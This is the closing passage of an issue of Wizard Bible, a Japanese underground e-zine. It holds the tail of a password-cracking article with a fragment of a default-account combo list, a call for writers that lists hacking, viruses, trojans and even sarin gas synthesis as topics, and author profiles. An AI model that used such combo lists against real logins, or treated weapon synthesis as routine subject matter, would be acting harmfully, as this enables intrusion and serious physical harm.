backup ipusiron test ipusiron backup …(中略)… -----  このコンボファイルを使ったパスワードクラッキングは、ターゲットがデフォ ルトアカウントであることを期待している時に多用されます。 ■0x10.) 終わりに  日記に書いたことを使いまわしてしまいましたが、読んでない人もいると思い、 Wizard Bibleのネタにしました。  売買IRCを公開することはメンバーの人に許可を取ってありますが、存在する場 所や詳しい内容は漏らしてはいけないことになっているので、これらに関して一 切質問は受け付けません。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第10章:お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible(http://2600ch.com/)では随時、執筆ライターを募集していま す。  扱う内容のテーマは広義での「under ground」です。例えば、ハッキングから サリンガスの合成法などと幅広い内容を考えています。また、各種、特殊な職業 や趣味を持った方のレクチャーなども含まれます。  一回きりでも構いません。また、必ず、毎回連載する義務もありませんのでで きる範囲で構いません。気軽に声をかけてください。もちろん一回書いたことが ある人も気軽に声をかけてください(全く気にしていない性格なので)。  文字数などの規定は特にありませんが、文字数の多いものは、一部編集を加え て連載とさせていただく場合があります。  ただし、頂いた原稿の内容で、コンセプトにそぐわないものに関しては掲載さ れない場合や、原稿の一部を変更したものを掲載する場合がありますのでご了承 ください。  目標としては、データハウス刊の「危ない28号(現廃刊)」の電脳版といった ところです。これについてデータハウスの協力により、発刊の可能性もあります。  また、各ジャンルにおいて、有望な方は単行本執筆の可能性もあるそうです。  奮ってご応募ください。 ○取り扱う具体的な分野は次に示すものです。 ・ハッキング(セキュリティネタはこちらに含める) ・クラッキング(ウイルスやトロイの木馬系も含む) ・リバースエンジニアリング(シリアル解析、ゲーム改造、オンラインゲームの チートを含む) ・コーディング(純粋なプログラミングネタでもクラッキングに近い内容でもよ い) ・ソーシャルエンジニアリング(開錠技術、侵入技術も含む) ・暗号 ・フリーキング(一般電話、携帯電話、公衆電話などの話題や電話システムの話) ・ツール(ツールに特化した話題はこちら) ・ウェアーズ(共有ソフトやエミュレータはこちらに含める) ・ウォッチング(サイトや掲示板のウォッチングネタ) ・ハードクラッキング(自販機、ゲーセンのゲーム機などの怪しい裏技など) ○目標としては、1ヶ月に1回の頻度で発行したいと思っています(予定では毎 月15日に発行)。 ○誤植などのお知らせはIPUSIRON宛て(ipusiron@ruffnex.oc.to)にお願いしま す。 ○幅広く初心者から上級者までをターゲット層としたいので、執筆陣に参加した い方は気軽にメールください。初心者からパワーユーザーまで幅広い層をターゲ ットにしたいので、マニアックなネタ、読み物系のネタ、初心者向けのネタなど 何でも構いません。オリジナルのネタじゃなくても、読みやすく編集・翻訳した だけでも十分、一つの記事と言えます。  別に『Wizard Bible』でチームを組んでいるわけではないので、他のチームに 属している人であっても気にする必要は無いと思います。  グループやチームに関わらず、自分が興味を持った事柄についてのレポートの 発表の場だと思ってください。 ○Wizard Bible(略してWB)の公式サイトは次のURIです。 http://2600ch.com/  過去の記事を閲覧できるようにしてあります。 ○支援者、参加希望者用のスレッドを立てました。 http://ruffnex.oc.to/ipusiron/cgi/forum/patio.cgi?mode=view&no=17 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第11章:著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x  今回は各著者にオススメの本を一つ選んでもらいました。 ■unya ●Job: ソンブレロ職人 ●Web: Lunatic Stream (http://lunatic_stream.tn.st) ●Mail: tmlise@yahoo.co.jp ●Team(Group): Team LISE ●Comment: 最近は夜な夜なネットを徘徊して、面白そうなネタをかき集めていたり、いな かったり。そろそろ面白そうな事が起る予感(笑)じゃ またいつかヽ(´ー`)ノ ●オススメの本: 無し ■PaiN ●Job: Student ●Web: Hex51(http://hex51.darktech.org/) ●Mail:ss@comeon.to ●Team(Group):Secret ●Comment:  どうも。某BBSの住人PaiNです。趣味は、プログラミング、PerlやCをやってい ます。 ●オススメの本:『ファーブル昆虫記』  私は田舎育ちなので幼い頃は昆虫好きで、それは小学校1年の頃に[ハエ]という 自由研究でなんらかの賞を頂く程の熱心ぶりでした。そんなとき学校の図書室で 見つけた「昆虫」という文字の入っている本、「ファーブル昆虫記」。  読んだのは小学2年頃だと思うので子供向けに訳されたものだと思いますが、た だ「好き」から、「それはどんなものか?」という探求心、どう観察したらいいの かなど、調べることと知ることの楽しさを教えてくれた本でした。 ■trinisic ●Job: Secret ●Web: http://www.geocities.jp/geekofnewbie/ ●Mail: trinisict@yahoo.co.jp ●Team(Group): N/A ●Comment:  最近寒くなりましたね。コタツをもう出そうかなと思っていますが、まだ早い かなとも思います。  コタツといえばみかんですが、みかんはあまり好きではないので残念です。毎 年この時期は体調を崩しやすいので、不規則な生活はやめて健康志向でいこうと 思っています、はい。 ●オススメの本:『smart girls』 (宝島社)  エロ本っす。女の子の裸が載っているっす。エロ本は親や彼女に見つかるとや ばいっす。でもこの本は結構おしゃれな感じなので、「アートの勉強のためだ」 と言い張れば許してもらえる(?)かもしれません。Casual Eroticism としてお すすめの一冊です。  あ、でも僕は Remix 版しか買ったことないので、本家がどんなものかはよくわ からないっす。すいません。 ■npyu ●Job:Secret ●Web:N/A ●Mail:n_p_y_u@hotmail.com ●Team(Group):U.M ●Comment:  ども、初投稿の厨房npyuです。  zetabbs.orgでたまに馴れ合ってますので、興味のある方はお気軽に遊びに来て くださいね(=´±`=) ●オススメの本:『perl for expert』(秀和システム)  自分は古本屋でこれを買いました。  中級者以上を目指す方は、買って損なしです。 ■D ●Job:SE ●Web:SEの小箱(http://iron_beasty.tripod.co.jp/) ●Mail:death_beasty@hotmail.com ●Team(Group):N/A ●Comment:  新参者のDです。  様々な会社のネットワークの危ない部分を指摘したいと思っています。趣味はヘ ヴィ・メタルを腹のそこから歌うこと。  まだまだ勉強が足りないところがあると思いますが、優しい目で見守ってくださ い。 ●オススメの本:『グミ・チョコレート・パイン』大槻ケンヂ著  筋肉少女帯のボーカルが書いた小説です。  かなり面白いです。一読の価値ありです! ■barussa ●Job:student ●Web:N/A ●Mail:odoruaosima@hotmail.com ●Team(Group):N/A ●Comment:  どうも、barussaです。初めてWizard Bibleに投稿してみました。自分のスキル はほとんどないに等しいので、これからいろいろと勉強していきたいです。Perl について勉強中ですが、まだまだ勉強不足で、最近やっと正規表現についての勉 強の部分が終わるところです。将来は、Perlでexploitを書きたいです(汗。 ●オススメ本:『独習Perl』武藤健志/トップスタジオ 編著  自分がPerlを勉強するのに使っている本です。  学校の教科書みたいな感じでとてもいいです。練習問題もあるので、自分がど れだけ理解したのか確かめることなどが出来ます。Perlのインストール方法も書 いてあるので、この本を持っていれば、大体の部分は理解できると思います(ラ クダ本も欲しいけど高いな〜と思っている人にもお勧めです)。 ■Kenji Aiko ●Job:Student ●Web:http://kenjinet.s26.xrea.com/ ●Mail:kenjinet@s26.xrea.com ●Team(Group):N/A ●Comment:  はじめまして。Kenjiと申します。趣味はPCと音楽関係を一通りやります。ギタ ーも弾けたりします。ピアノは弾けません。ベースだってできません。使用OSは 基本的にはLinuxです。でも最近Lindows日本語版が出たのでちょっと使ってみよ うかなとか思ってます。こんな私ですがよろしくお願いします(^^。 ●オススメの本: 『やさしいJava』高橋麻奈著  初心者な人でもだいじょぶです。Javaを勉強したい人にお奨め。 ■黒猫 ●Job:Secret ●Web:知のくずかご(http://d.hatena.ne.jp/EdgarPoe/) ●Mail:Secret ●Team(Group):N/A ●Comment:  いろいろな意味で個人像はナイショ。  趣味は 哲学・心理学・読書・武道・スキー・登山・音楽演奏・netでの質問回 答係 等 多岐にわたるが「どれ一つとしてモノになっていない」という、典型的 な移り気体質。  精神に障害があり「ノってる時はのめり込むが、ノらないときは一日中寝てい る」を繰り返している。ソーウツ病かな?  これを執筆段階ではノリ過ぎてコワイ。処方薬しか飲んだことないのに…。  最近「Wizard」と言う言葉を考え出したと思ったら、うーんと昔に使われてい て、そもそもこの原稿の題名が「WizardBible」だ、という二番、三番煎じに気付 く。 ●オススメの本:『ルパン三世カリオストロの城』(嶋中書店)ISBN 4901819526  例えば、原稿が遅れた際に 「遅れたぞ、黒猫!」 「またせたな、IPUSIRON」 「黒猫、破れたり!本当にWizardBibleを大切に思っているならば、遅れたりしな いはずだ!」  ここから先は各自考えてください  というギャグを思いつくために脳内の本(吉川英治やモンキーパンチ)を溜め、 たまに読んで(思い出して)みましょう。 ■IPUSIRON ●Job:サイト更新 ●Web:- Security Akademeia -(http://akademeia.info/) ●Mail:ipusiron@ruffnex.oc.to ●Team(Group):TeamSA ●Comment:  今月号(vol.4)は多くの人が参加してくれました。本当に喜ばしいことです。 今後も多くの人が参加してもらえたらと思います。  新刊『TRONの教科書』が発売されているので、宜しくお願いします。 ●オススメの本:『無限論の教室』野矢茂樹著  数学の実存主義に対して疑問を投げかけているという意味でも貴重だし、従来 の集合論の説明や対角線論法の解説が逸品です。